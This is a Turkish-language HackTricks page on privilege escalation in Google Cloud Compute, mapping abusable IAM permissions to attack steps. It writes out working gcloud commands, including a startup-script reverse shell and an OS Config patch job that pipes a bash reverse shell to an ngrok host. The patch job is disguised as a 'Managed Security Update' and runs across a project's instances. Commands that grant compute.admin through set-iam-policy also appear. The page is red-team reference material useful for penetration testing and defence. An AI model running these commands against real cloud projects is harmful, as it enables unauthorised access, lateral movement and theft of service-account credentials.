GCP - Compute Privesc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Compute

GCP’deki Compute ve VPC (ağ) hakkında daha fazla bilgi için kontrol edin:

GCP - Compute Enum

Caution

Instance’ın metadata’sını değiştirmeyi gerektiren tüm ayrıcalık yükseltme saldırılarını gerçekleştirmek için (yeni kullanıcılar ve SSH anahtarları eklemek gibi) instance’a bağlı SA üzerinde actAs izinlerinizin olması GEREKİR, SA zaten bağlı olsa bile!

compute.projects.setCommonInstanceMetadata

Bu izinle instance’ın metadata bilgilerini değiştirebilir ve bir kullanıcının yetkilendirilmiş anahtarlarını değiştirebilir veya sudo izinlerine sahip yeni bir kullanıcı oluşturabilirsiniz. Bu nedenle, herhangi bir VM instance’ına SSH ile bağlanabilir ve instance’ın çalıştığı GCP Service Account’ı çalabilirsiniz.
Sınırlamalar:

  • GCP Service Accounts’ın VM instance’larında varsayılan olarak çok sınırlı bir kapsamı olduğunu unutmayın.
  • Giriş yapmak için SSH sunucusuyla iletişim kurabilmeniz gerekecek.

Bu izni nasıl istismar edeceğiniz hakkında daha fazla bilgi için kontrol edin:

GCP - Add Custom SSH Metadata

Bu saldırıyı yeni bir başlangıç betiği ekleyerek ve instance’ı yeniden başlatarak da gerçekleştirebilirsiniz:

gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'

gcloud compute instances reset my-vm-instance

compute.instances.setMetadata

Bu izin, önceki iznin sağladığı aynı ayrıcalıkları belirli bir örnek üzerinde, tüm proje yerine verir. Önceki bölümdeki aynı istismarlar ve sınırlamalar geçerlidir.

compute.instances.setIamPolicy

Bu tür bir izin, önceki izinlerle kendinize bir rol vermenize ve bunları kötüye kullanarak ayrıcalıkları artırmanıza olanak tanır. İşte bir Service Account’a roles/compute.admin ekleme örneği:

export SERVER_SERVICE_ACCOUNT=YOUR_SA
export INSTANCE=YOUR_INSTANCE
export ZONE=YOUR_INSTANCE_ZONE

cat <<EOF > policy.json
bindings:
- members:
- serviceAccount:$SERVER_SERVICE_ACCOUNT
role: roles/compute.admin
version: 1
EOF

gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE

compute.instances.osLogin

Eğer OSLogin örnekte etkinse, bu izinle sadece gcloud compute ssh [INSTANCE] komutunu çalıştırarak örneğe bağlanabilirsiniz. Örneğin içinde root yetkileriniz olmayacak.

Tip

Bu izinle VM örneği içinde başarılı bir şekilde giriş yapmak için, VM’ye ekli SA üzerinde iam.serviceAccounts.actAs iznine sahip olmanız gerekir.

compute.instances.osAdminLogin

Eğer OSLogin örnekte etkinse, bu izinle sadece gcloud compute ssh [INSTANCE] komutunu çalıştırarak örneğe bağlanabilirsiniz. Örneğin içinde root yetkilerine sahip olacaksınız.

Tip

Bu izinle VM örneği içinde başarılı bir şekilde giriş yapmak için, VM’ye ekli SA üzerinde iam.serviceAccounts.actAs iznine sahip olmanız gerekir.

compute.instances.create,iam.serviceAccounts.actAs, compute.disks.create, compute.instances.create, compute.instances.setMetadata, compute.instances.setServiceAccount, compute.subnetworks.use, compute.subnetworks.useExternalIp

Atanmış bir Hizmet Hesabı ile bir sanal makine oluşturmak ve token’ı çalmak mümkündür, bu da yetkileri artırmak için metadata’ya erişim sağlar.

Bu yöntem için istismar betiği burada bulunabilir.

osconfig.patchDeployments.create | osconfig.patchJobs.exec

Eğer osconfig.patchDeployments.create veya osconfig.patchJobs.exec izinleriniz varsa, bir patch job veya deployment oluşturabilirsiniz. Bu, ortamda yanlamasına hareket etmenizi ve bir projedeki tüm compute örneklerinde kod yürütme elde etmenizi sağlar.

Şu anda örneğe ekli SA üzerinde actAs iznine ihtiyacınız olmadığını unutmayın.

Bunu manuel olarak istismar etmek istiyorsanız, ya bir patch job ya da deployment** oluşturmanız gerekecek.**
Bir patch job için çalıştırın:

cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF

gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh

# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance

gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s

Bir yamanın dağıtımını yapmak için:

gcloud compute os-config patch-deployments create <name> ...

Aracın patchy geçmişte bu yanlış yapılandırmayı istismar etmek için kullanılabiliyordu (ama şimdi çalışmıyor).

Bir saldırgan bunu kalıcılık için de kötüye kullanabilir.

compute.machineImages.setIamPolicy

Kendinize ek izinler verin compute Image için.

compute.snapshots.setIamPolicy

Kendinize ek izinler verin bir disk anlık görüntüsü için.

compute.disks.setIamPolicy

Kendinize ek izinler verin bir disk için.

Erişim Kapsamlarını Aşma

Bu bağlantıyı takip ederek bazı erişim kapsamlarını aşma fikirleri bulabilirsiniz.

GCP Compute örneğinde Yerel Yetki Yükseltme

GCP - local privilege escalation ssh pivoting

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin